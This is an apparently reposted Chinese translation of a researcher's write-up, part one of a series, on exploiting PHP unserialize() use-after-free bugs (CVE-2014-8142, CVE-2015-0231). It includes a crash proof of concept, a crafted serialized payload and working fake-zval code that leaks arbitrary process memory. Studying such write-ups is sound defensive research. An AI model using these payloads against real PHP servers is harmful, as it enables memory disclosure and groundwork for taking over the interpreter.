6

PHP中的内存破坏漏洞利用(CVE-2014-8142和CVE-2015-0231)(连载之第一篇) | WooYun...

 6 years ago
source link:
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

PHP中的内存破坏漏洞利用(CVE-2014-8142和CVE-2015-0231)(连载之第一篇)

0x00 前言


作者:Cigital公司的安全顾问Qsl1pknotp

题目:Exploiting memory corruption bugs in PHP (CVE-2014-8142 and CVE-2015-0231) Part 1

地址:http://www.inulledmyself.com/2015/02/exploiting-memory-corruption-bugs-in.html

很多人都认为,对基于Web的应用程序来说,内存崩溃类bug不是什么严重问题。尤其现在XSS和SQL注入类漏洞仍然大行其事的情况下,不会有多少注意力投入到这类bug中,它们会被当做“不可利用”或者被直接无视。然而,假如攻击成功,利用这类漏洞进行攻击所导致的结果将远远超出SQL注入以及XSS,因为:

1. 攻击者将得到有保证的系统访问权。
2. 将会很难识别恶意攻击数据流量。
3. 需要维护者/供应商提供专门补丁,并且只能希望修补得没有问题。

接下来笔者将发表三篇该系列攻击的文章,本文是其中的首篇。该系列将从CVE-2014-8142的利用开始讲起、然后是远程任意信息泄露、最后以获取PHP解释器的控制权结束。Stefan Esser(@i0n1c)是这两个CVE的原作者,并且是在2010年Syscan上第一个讲解如何控制PHP解释器(被称为“ret2php”)的。

0x01 漏洞起源


这一切都始于2004年,Esser在unserialize()函数中发现的一个Use After Free漏洞。这是一个Hardened-PHP(译者注:如果项目中,服务器的安全性是最重要的,就可以称为是Hardened-PHP)项目的一部分,没有任何代码公开。2010年,Esser又在SPLObjectStorage的unserialize()中发现另一个User After Free,这个漏洞直接产生了Syscan会上的一个发言,跟第一次漏洞一样,本次也没有代码公开。最后,CVE-2014-8142被发现,又被打补丁,但是因为补丁没打好,又导致了CVE-2015-0231。

幸运的是,这次Stefan终于给出了一个可令PHP解释器产生故障的POC。下面的代码就会导致有此漏洞的PHP解释器出现问题。

#!php
<?php
for ($i=4; $i<100; $i++) {
  var_dump($i);

  $m = new StdClass(); 
  $u = array(1); 
  $m->aaa = array(1,2,&$u,4,5);

  $m->bbb = 1;
  $m->ccc = &$u;
  $m->ddd = str_repeat("A", $i); 
  $z = serialize($m);
  $z = str_replace("bbb", "aaa", $z);

  var_dump($z);

  $y = unserialize($z);

  var_dump($y);
}
?>

source: StefanEsser_Original_POC

0x02 漏洞分析利用


下面来解释下POC是如何工作的:我们通过重新添加“aaa”对象的值(不同值),来更新对象“aaa”,然而“ccc”对象其实还是指向原始“aaa”对象中的某一个值。

既然我们已经在顶层实现上知道了它的工作原理,接下来就让我们一起试着找到问题的罪魁祸首吧。我们在process_nested_data函数中寻找,快速浏览一下,会发现一段特定的代码:

enter image description here

让我们一起跟进脚本中来确定真正发生了什么。我们将断点断在var_unserializer.c的第337行来看一下(此处位于process_nested_data函数内)。

enter image description here

继续运行,跟过下面的代码:

#!php
<?php
$data ='O:8:"stdClass":3:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;s:39:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;}';
$x = unserialize($data);
var_dump($x);
?>

source:StefanEsser_Original_LocalMemLeak.php

运行上面的脚本,断点第一次命中时跳过,第二次命中时,执行下面的查看命令:

#!php
printzv *(var_entries)var_hash->first

enter image description here

可以看到地址的一个数组,这些地址指向unserialize()函数解析的变量值。我们感兴趣的是第五个0xb7bf87c0(我们上面php代码中用的是R:5)。既然已经得到地址,我们就去看一下内容,然后步过该断点并继续运行。

enter image description here

已经调用完该可疑函数,接下来重新看一下刚才我们选定的地址中出现了什么内容:

enter image description here

成功搞定!当然,还需要确认下该地址是否还在var_hash表中,然后继续运行。

enter image description here

果然还在,继续:

enter image description here

Sweet!已经可以泄露前面地址中的数据了。我们现在已经可以成功泄露出之前所提供字串的长度,但这其实没什么意思。那么能不能泄露出任意内存数据呢?下面就是你想要的代码:

#!php
<?php

$fakezval = pack(
    'IIII',     //unsigned int
    0x08048000, //address to leak
    0x0000000f, //length of string
    0x00000000, //refcount
    0x00000006  //data type NULL=0,LONG=1,DOUBLE=2,BOOL=3,ARR=4,OBJ=5,STR=6,RES=7
);
//obj from original POC by @ion1c
$obj = 'O:8:"stdClass":4:{s:3:"aaa";a:5:{i:0;i:1;i:1;i:2;i:2;a:1:{i:0;i:1;}i:3;i:4;i:4;i:5;}s:3:"aaa";i:1;s:3:"ccc";R:5;s:3:"ddd";s:4:"AAAA";}';
$obj=unserialize($obj);

for($i = 0; $i < 5; $i++) { //this i value is larger than usually required
    $v[$i]=$fakezval.$i; //repeat to overwrite
}
//due to the reference being overwritten by our loop above, leak memory
echo $obj->ccc;
?>

source: PHPLeak

下面是输出数据:

enter image description here

我们这里做的操作是非常简单的(希望是)。我们创建自己的ZVAL(PHP使用的内部数据结构)数据结构。我们定义了几个东西,使pack()函数获取我们的代码执行。按照顺序,它们是:

类型(例子中用的是unsigned int)
地址(我们想要泄露的地址)
长度(我们想要泄露内存的长度)
参考标志(0)
数据类型(6,代表String类型)

当然,如果我们没有伪造一个string ZVAL结构,这些值是会变化的。代码中的for循环是真正执行内存覆盖操作(覆盖之前释放掉的内存),这些操作使我们得到上述的输出数据。代码中我令循环数$i的值大于其所需的值,只是用以确保代码的通用性,当然我测试过的大多数机器只需要2次就可以了,不需要执行5次。

好了,现在已经可以泄露随意地址数据了,让我们再一起看看CVE-2015-0231?很简单:只需将“aaa”替换成“123”,看一下输出的数据:

enter image description here

0x03 下一步研究


通过上述过程,我们已经完成了一个可在本地泄露任意内存地址数据的POC,且该POC同时适用于两个CVE漏洞的。我们下一步目标是仍然是数据泄露,所不同的是,将会是远程数据泄露!

敬请期待第二回,远程数据泄露!


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK